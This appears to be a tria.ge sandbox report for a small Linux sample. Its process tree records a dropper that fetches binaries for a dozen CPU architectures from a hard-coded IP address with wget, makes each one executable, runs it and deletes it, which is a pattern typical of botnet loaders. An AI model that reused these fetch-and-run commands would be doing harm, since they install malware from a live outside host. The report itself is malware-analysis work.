Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

1

Static

static

1

6c1637ff60...kes118

ubuntu-18.04-amd64

1

6c1637ff60...kes118

debian-9-armhf

1

6c1637ff60...kes118

debian-9-mips

6c1637ff60...kes118

debian-9-mipsel

Analysis

  • max time kernel
    36s
  • max time network
    128s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240508-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240508-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    23/05/2024, 19:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    6c1637ff60e4d797c56a8e72ad8b3e30_JaffaCakes118

  • Size

    1KB

  • MD5

    6c1637ff60e4d797c56a8e72ad8b3e30

  • SHA1

    041b3b4e151b17029354d1df7caf6fe16161ceeb

  • SHA256

    dc08778a4071d7c20459484a4d917feae7a1f4868b7aedca82d8594324bf92dd

  • SHA512

    911fc0889ecc792470bd7b5255624905540a2fc8934184e9d3f43cd5c723369ca068acc7a7383185e00ccc29bebe8ef16a6007b4dc7bbceab61ef56da6cad065

Score
1/10

Malware Config

Signatures

Processes

  • /tmp/6c1637ff60e4d797c56a8e72ad8b3e30_JaffaCakes118
    /tmp/6c1637ff60e4d797c56a8e72ad8b3e30_JaffaCakes118
    1⤵
      PID:1491
      • /usr/bin/wget
        wget http://45.95.169.238/mips
        2⤵
          PID:1492
        • /bin/chmod
          chmod +x mips
          2⤵
            PID:1497
          • /tmp/mips
            ./mips
            2⤵
              PID:1498
            • /bin/rm
              rm -rf mips
              2⤵
                PID:1499
              • /usr/bin/wget
                wget http://45.95.169.238/mipsel
                2⤵
                  PID:1500
                • /bin/chmod
                  chmod +x mipsel
                  2⤵
                    PID:1501
                  • /tmp/mipsel
                    ./mipsel
                    2⤵
                      PID:1502
                    • /bin/rm
                      rm -rf mipsel
                      2⤵
                        PID:1503
                      • /usr/bin/wget
                        wget http://45.95.169.238/sh4
                        2⤵
                          PID:1504
                        • /bin/chmod
                          chmod +x sh4
                          2⤵
                            PID:1505
                          • /tmp/sh4
                            ./sh4
                            2⤵
                              PID:1506
                            • /bin/rm
                              rm -rf sh4
                              2⤵
                                PID:1507
                              • /usr/bin/wget
                                wget http://45.95.169.238/x86
                                2⤵
                                  PID:1508
                                • /bin/chmod
                                  chmod +x x86
                                  2⤵
                                    PID:1509
                                  • /tmp/x86
                                    ./x86
                                    2⤵
                                      PID:1510
                                    • /bin/rm
                                      rm -rf x86
                                      2⤵
                                        PID:1511
                                      • /usr/bin/wget
                                        wget http://45.95.169.238/armv6l
                                        2⤵
                                          PID:1512
                                        • /bin/chmod
                                          chmod +x armv6l
                                          2⤵
                                            PID:1513
                                          • /tmp/armv6l
                                            ./armv6l
                                            2⤵
                                              PID:1514
                                            • /bin/rm
                                              rm -rf armv6l
                                              2⤵
                                                PID:1515
                                              • /usr/bin/wget
                                                wget http://45.95.169.238/i686
                                                2⤵
                                                  PID:1516
                                                • /bin/chmod
                                                  chmod +x i686
                                                  2⤵
                                                    PID:1517
                                                  • /tmp/i686
                                                    ./i686
                                                    2⤵
                                                      PID:1518
                                                    • /bin/rm
                                                      rm -rf i686
                                                      2⤵
                                                        PID:1519
                                                      • /usr/bin/wget
                                                        wget http://45.95.169.238/powerpc
                                                        2⤵
                                                          PID:1520
                                                        • /bin/chmod
                                                          chmod +x powerpc
                                                          2⤵
                                                            PID:1521
                                                          • /tmp/powerpc
                                                            ./powerpc
                                                            2⤵
                                                              PID:1522
                                                            • /bin/rm
                                                              rm -rf powerpc
                                                              2⤵
                                                                PID:1523
                                                              • /usr/bin/wget
                                                                wget http://45.95.169.238/i586
                                                                2⤵
                                                                  PID:1524
                                                                • /bin/chmod
                                                                  chmod +x i586
                                                                  2⤵
                                                                    PID:1525
                                                                  • /tmp/i586
                                                                    ./i586
                                                                    2⤵
                                                                      PID:1526
                                                                    • /bin/rm
                                                                      rm -rf i586
                                                                      2⤵
                                                                        PID:1527
                                                                      • /usr/bin/wget
                                                                        wget http://45.95.169.238/m68k
                                                                        2⤵
                                                                          PID:1528
                                                                        • /bin/chmod
                                                                          chmod +x m68k
                                                                          2⤵
                                                                            PID:1529
                                                                          • /tmp/m68k
                                                                            ./m68k
                                                                            2⤵
                                                                              PID:1530
                                                                            • /bin/rm
                                                                              rm -rf m68k
                                                                              2⤵
                                                                                PID:1531
                                                                              • /usr/bin/wget
                                                                                wget http://45.95.169.238/sparc
                                                                                2⤵
                                                                                  PID:1532
                                                                                • /bin/chmod
                                                                                  chmod +x sparc
                                                                                  2⤵
                                                                                    PID:1535
                                                                                  • /tmp/sparc
                                                                                    ./sparc
                                                                                    2⤵
                                                                                      PID:1536
                                                                                    • /bin/rm
                                                                                      rm -rf sparc
                                                                                      2⤵
                                                                                        PID:1537
                                                                                      • /usr/bin/wget
                                                                                        wget http://45.95.169.238/armv4l
                                                                                        2⤵
                                                                                          PID:1538
                                                                                        • /bin/chmod
                                                                                          chmod +x armv4l
                                                                                          2⤵
                                                                                            PID:1539
                                                                                          • /tmp/armv4l
                                                                                            ./armv4l
                                                                                            2⤵
                                                                                              PID:1540
                                                                                            • /bin/rm
                                                                                              rm -rf armv4l
                                                                                              2⤵
                                                                                                PID:1541
                                                                                              • /usr/bin/wget
                                                                                                wget http://45.95.169.238/armv5l
                                                                                                2⤵
                                                                                                  PID:1542
                                                                                                • /bin/chmod
                                                                                                  chmod +x armv5l
                                                                                                  2⤵
                                                                                                    PID:1543
                                                                                                  • /tmp/armv5l
                                                                                                    ./armv5l
                                                                                                    2⤵
                                                                                                      PID:1544
                                                                                                    • /bin/rm
                                                                                                      rm -rf armv5l
                                                                                                      2⤵
                                                                                                        PID:1545

                                                                                                    Network

                                                                                                    MITRE ATT&CK Matrix

                                                                                                    Replay Monitor

                                                                                                    Loading Replay Monitor...

                                                                                                    Downloads